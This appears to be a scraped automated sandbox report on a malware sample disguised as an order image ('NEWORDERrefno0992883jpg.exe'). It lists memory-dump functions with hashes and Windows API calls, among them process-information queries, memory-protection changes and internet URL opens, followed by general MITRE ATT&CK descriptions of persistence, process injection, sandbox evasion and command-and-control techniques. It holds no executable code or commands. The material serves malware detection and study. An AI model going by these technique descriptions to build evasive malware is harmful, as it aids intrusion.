Instruction ID: 84df3fc44e80b5abe1cd538abad91198a54a64ccda3e25f3df1dde3da88acc4a
Opcode Fuzzy Hash: eb1ba32e44fb8e7c6713f7a8909385c74303f99db77d92c133048e5774c71d67
Instruction Fuzzy Hash: 1BD1A11A150A008ADF111B94594AFEEBF65BF03730FE007B6C63A1F9F7D6900A87A765

Uniqueness

Uniqueness Score: -1.00%

Function 00569779, Relevance: 1.7, APIs: 1, Instructions: 204nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 00569762

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 57876096c5a45833adbaf9c5e3192350c0cabb904e0249ef808af8b2d40d8f6b
Instruction ID: 7307bbb062862ddc15319be796320aff3fd2b9a6c9292b9840ebea317ad1326d
Opcode Fuzzy Hash: 57876096c5a45833adbaf9c5e3192350c0cabb904e0249ef808af8b2d40d8f6b
Instruction Fuzzy Hash: 4B516E0A020640865B451FA46659AAEFF6DFD13B307E007BBC33E1F8F7D5640287A6A6

Uniqueness

Uniqueness Score: -1.00%

Function 0056939B, Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4761e8797ae00c8bd5a44c9733044ff0bdf116abd29be0ee4e74e833e9adb110
Instruction ID: 3b4996ae5e06e98c1391b93d2429d966fed41e9327dc730792ba57a89b4bd771
Opcode Fuzzy Hash: 4761e8797ae00c8bd5a44c9733044ff0bdf116abd29be0ee4e74e833e9adb110
Instruction Fuzzy Hash: 155187292106404ADF055B158459BEDBE18FF21732FC41BABC3390FAF9DA344683D39A

Uniqueness

Uniqueness Score: -1.00%

Function 005695B3, Relevance: 1.7, APIs: 1, Instructions: 163nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 00569762

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 1148efaf1652a74ff9cc6d1dd981a8ec13e92bb249a609ce98c478557b541195
Instruction ID: 7a46c77797bb955e6965cc6b4c42f12c766785baabcb13dcc7f009a41f0953fb
Opcode Fuzzy Hash: 1148efaf1652a74ff9cc6d1dd981a8ec13e92bb249a609ce98c478557b541195
Instruction Fuzzy Hash: A651662912070049DF661B24D459BEDBE1CBF22731FC017ABC33A0B9F6D6344282D79A

Uniqueness

Uniqueness Score: -1.00%

Function 00568FBC, Relevance: 1.6, APIs: 1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa08d7a4c5d936aaa09be6b8704d9de450380d166febcc1dcd4c4ed984e5570
Instruction ID: 548aff3fee09a66c413afc9ecf9859701971028fbd84b6fe141d21bc3a59118e
Opcode Fuzzy Hash: 5fa08d7a4c5d936aaa09be6b8704d9de450380d166febcc1dcd4c4ed984e5570
Instruction Fuzzy Hash: A23138317056458FEF259E24C9483E87FAAFF633A1F68416AC9469B1E1D338C8C5CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00568BBB, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0056868B,00000040,00560A1D,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00568BD7

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction ID: 99a9d8d00dcc117a606ac92e411db70f0a20e9638b8254fcc77bd410a86e3b5b
Opcode Fuzzy Hash: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction Fuzzy Hash: 72C012E82240002E68048E28CD48D2BB2AA86D8A28B10C32CB872B22CCCA30EC058132

Uniqueness

Uniqueness Score: -1.00%

Function 00562B5F, Relevance: 1.4, APIs: 1, Instructions: 171sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000800,?,00000000,00000000,00000000,?,00000000,00000000,Function_00009896,00000000,00000000,00000000), ref: 00562D78

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2773454b8f76ae99ac8d35e1259e4f98347d547dee256a8770e75b52507812dd
Instruction ID: b47bd8fc4822494f755aadccde1b1a09f2b13eb41730e4e39fbee006a468f1a5
Opcode Fuzzy Hash: 2773454b8f76ae99ac8d35e1259e4f98347d547dee256a8770e75b52507812dd
Instruction Fuzzy Hash: AB51BF24150E00AAEF451F15984ABEDBF24FF12731FC00BA6D7390F9F6D6204A82D76A

Uniqueness

Uniqueness Score: -1.00%

Function 00562BC9, Relevance: 1.3, APIs: 1, Instructions: 91sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000800,?,00000000,00000000,00000000,?,00000000,00000000,Function_00009896,00000000,00000000,00000000), ref: 00562D78

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d1b566eb25e8545829012763d5bec225020e6596cdbe5e7c36663555ab99f1e9
Instruction ID: 4193dd1eff3c6c3ba42e4bd66dc0cd219e5a046de7248d1fcf4707502146003b
Opcode Fuzzy Hash: d1b566eb25e8545829012763d5bec225020e6596cdbe5e7c36663555ab99f1e9
Instruction Fuzzy Hash: BC31BE70244741EFEB20AF24CC4EBA97BA5FF04351F218459F9465B1E2C7B59D80CA21

Uniqueness

Uniqueness Score: -1.00%

Function 00564AF0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

0={,, xrefs: 00564C7F

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: 0={,
API String ID: 1029625771-63937952
Opcode ID: 9aa2f3b74920965ef850330ae829c79a1170f2903e8519a33e4a61c689552a22
Instruction ID: 6d122d5231cf76e81843cbede4e7dfe79b1d51fe894bb88cdaacd70b0c0326fd
Opcode Fuzzy Hash: 9aa2f3b74920965ef850330ae829c79a1170f2903e8519a33e4a61c689552a22
Instruction Fuzzy Hash: 8D516EB460824F8BCB15EF6488967EE3F62BF99358F20841AFC4687305DF359842DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00564796, Relevance: 3.3, APIs: 2, Instructions: 251networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(005651CB,00000000,00000000,00000000,00000000), ref: 00564783
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564900

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: babc76a94de57fc1d3ca6c680d56ca43ceedaabd49242a562c00326b24953485
Instruction ID: 87b4a178164bb0633ce20fcb7943821f63af152b9ab1e7b15093b0fe14494c8a
Opcode Fuzzy Hash: babc76a94de57fc1d3ca6c680d56ca43ceedaabd49242a562c00326b24953485
Instruction Fuzzy Hash: 3A61831A15028186DF111B909A45FEEBF6ABB03730FE00776C73A1F9F7D6640643AB69

Uniqueness

Uniqueness Score: -1.00%

Function 005665CF, Relevance: 2.8, APIs: 1, Instructions: 1296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcd1057523d489ed2f189da6d245afb5430581cbb1fe36a8d7ca6aba564303d1
Instruction ID: 763563542128838b0ef1ab6691001b78893b9a0549dfc4aeaf760a60f48670b5
Opcode Fuzzy Hash: fcd1057523d489ed2f189da6d245afb5430581cbb1fe36a8d7ca6aba564303d1
Instruction Fuzzy Hash: 5362B44E0206008A9E401B94665AEAEFF69BD13B307E017B6C33F1F9F7D5540787A76A

Uniqueness

Uniqueness Score: -1.00%

Function 00567128, Relevance: 1.8, APIs: 1, Instructions: 291libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0ec60d22c36dd94fd26205db41b59c1851ba0cbd5e46b16e2d053f735c4594c4
Instruction ID: a5ede441c5f177244f15d77542a44c54f24bd37fad40edfcf392f7d129825b51
Opcode Fuzzy Hash: 0ec60d22c36dd94fd26205db41b59c1851ba0cbd5e46b16e2d053f735c4594c4
Instruction Fuzzy Hash: 8781791E0182088B8F001B64A156ADEBF65BD1B7387E017B7E63A1B5F7C7600683EB65

Uniqueness

Uniqueness Score: -1.00%

Function 00566FE8, Relevance: 1.7, APIs: 1, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680908327f4bf39f765f0976c73c171d18486c4f2dba39b1c2e0cbbd856d2626
Instruction ID: 6143c3016ff408c23ba92f0a155e007a87775a2f2a9c6a03f0cba5c3d4a95baf
Opcode Fuzzy Hash: 680908327f4bf39f765f0976c73c171d18486c4f2dba39b1c2e0cbbd856d2626
Instruction Fuzzy Hash: F351D54E018248868E411B50658EAAEFF39BD1BB35BE02772C33B0B5F7D5540283AF76

Uniqueness

Uniqueness Score: -1.00%

Function 00566DD6, Relevance: 1.6, APIs: 1, Instructions: 61libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 971a89b1c254668a12161234220d913fd9833d6ace18a70324de643700c44ad3
Instruction ID: 6d17907f7759d16af9344bb67525130e3d4dff79f2cd86bcca5003ac27829a64
Opcode Fuzzy Hash: 971a89b1c254668a12161234220d913fd9833d6ace18a70324de643700c44ad3
Instruction Fuzzy Hash: 5A11AFB850428F29DF357B24DC157FA7E18BF59768FA08654FC6547085CB748CC1CA24

Uniqueness

Uniqueness Score: -1.00%

Function 00564270, Relevance: 1.5, APIs: 1, Instructions: 38libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a5fd03eec5aabe1148c076d7e567975f0c958e9a620e9a1ddc566a7297f132eb
Instruction ID: 45a597f89b6d684810e4384745501fdde66161dc082707ba9a77bf6ab57ecac2
Opcode Fuzzy Hash: a5fd03eec5aabe1148c076d7e567975f0c958e9a620e9a1ddc566a7297f132eb
Instruction Fuzzy Hash: 23F0A79810825F39CE103E644E597FE2E19BF6DBBCF704422BC96931099F6488C29565

Uniqueness

Uniqueness Score: -1.00%

Function 00561C9C, Relevance: 1.5, APIs: 1, Instructions: 38libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 20e1765b5d3194c9b2a81536ed99d5c19f532673f2b52de0dadf91248ac90ee2
Instruction ID: f616fc5f82803cbb658ff232b9c00ee54ef265920625428c4ca58c9a83ef592f
Opcode Fuzzy Hash: 20e1765b5d3194c9b2a81536ed99d5c19f532673f2b52de0dadf91248ac90ee2
Instruction Fuzzy Hash: 0BF0279860829F38CA203A644E197FE2E68BF6DBBCF744422BC92831099BA448C14562

Uniqueness

Uniqueness Score: -1.00%

Function 00567101, Relevance: 1.5, APIs: 1, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f04b48bfe671e58d376fef62f7cb276023cdad5ac24f270fa41593810f1a310
Instruction ID: 9b9f2031dcc7264f34bfe4b73eb6fd20af45081f2a9db5c22769d3134c9354e9
Opcode Fuzzy Hash: 8f04b48bfe671e58d376fef62f7cb276023cdad5ac24f270fa41593810f1a310
Instruction Fuzzy Hash: 89E02BC810835F39CA103B744E197FE2E18FFACBACF708411BC96931099B7488C14565

Uniqueness

Uniqueness Score: -1.00%

Function 005668EA, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200,00561E43,?,?,?,?,0056580C,005657E5,00561233), ref: 00566B0A

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction ID: 63c77e8d7509ae42ec4afdc7769ab098341bbf9c4e8edcc527042b61e23e5acd
Opcode Fuzzy Hash: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction Fuzzy Hash: B6C04C71248304EBE754DB10CDD5F6B7AA8BF90748F219815F987D7151C730ED04D625

Uniqueness

Uniqueness Score: -1.00%

Function 00564281, Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00564154,005642A3,00560A41,?,00567E3E,F21FD920), ref: 00564295

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction ID: 90778f157ef074656d7de284b4bab831f576b04e2021a8a1eff49e75729f027a
Opcode Fuzzy Hash: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction Fuzzy Hash: A4C092717E0300B6FA348A208D57F8A62159B90F00F30840877093C0C085F1B610C62C

Uniqueness

Uniqueness Score: -1.00%

Function 005674A8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00000000,00562843,00000000,?,?,00000014,?,?,00000014), ref: 005674AB

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c9993196bc088be776cc54674a118fdaf022d4553cc0a768563112edcc0a48b6
Instruction ID: 1e0f47e42302d2d102504011f1774c64d747347936bbd44ebe6cc4874ee1aeed
Opcode Fuzzy Hash: c9993196bc088be776cc54674a118fdaf022d4553cc0a768563112edcc0a48b6
Instruction Fuzzy Hash: DDB00275410149ABCF015FA0DD0C98E3F25BF44351B008450B91595060C635C560DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00562D44, Relevance: 1.5, APIs: 1, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc9fa3292c1503acd6db6bef85ac1228da2160bc1d63194df17bcb5c1840ddab
Instruction ID: ba9c9d4ec1505f2df3dee00225498f05872972f237b6d847b538bcee1c5617ce
Opcode Fuzzy Hash: fc9fa3292c1503acd6db6bef85ac1228da2160bc1d63194df17bcb5c1840ddab
Instruction Fuzzy Hash: 1A51DD4A150A418ADF410B50654AFEAFB39BF03B31FE007B6C63A0F4F7D6550A83A766

Uniqueness

Uniqueness Score: -1.00%

Function 00562D66, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000800,?,00000000,00000000,00000000,?,00000000,00000000,Function_00009896,00000000,00000000,00000000), ref: 00562D78

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: bfcdd0c547329d3dd542f0c3598f23796ddd62dcf6801014dc639ecf5b366bb7
Instruction ID: f8d473e5386224885e00f3ba016bb7c2454a4bf327502baa12c44dd722268b69
Opcode Fuzzy Hash: bfcdd0c547329d3dd542f0c3598f23796ddd62dcf6801014dc639ecf5b366bb7
Instruction Fuzzy Hash: 65F06530504741DFDB607F60C88DB997F69BF04721F518195EA490B0A38B328D41CE32

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report NEWORDERrefno0992883jpg.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

CPU Usage

Memory Usage

Function 0040418E, Relevance: 1.4, APIs: 1, Instructions: 171
memoryCOMMONCrypto

Function 0040E9BA, Relevance: 341.7, APIs: 182, Strings: 12, Instructions: 2220
COMMON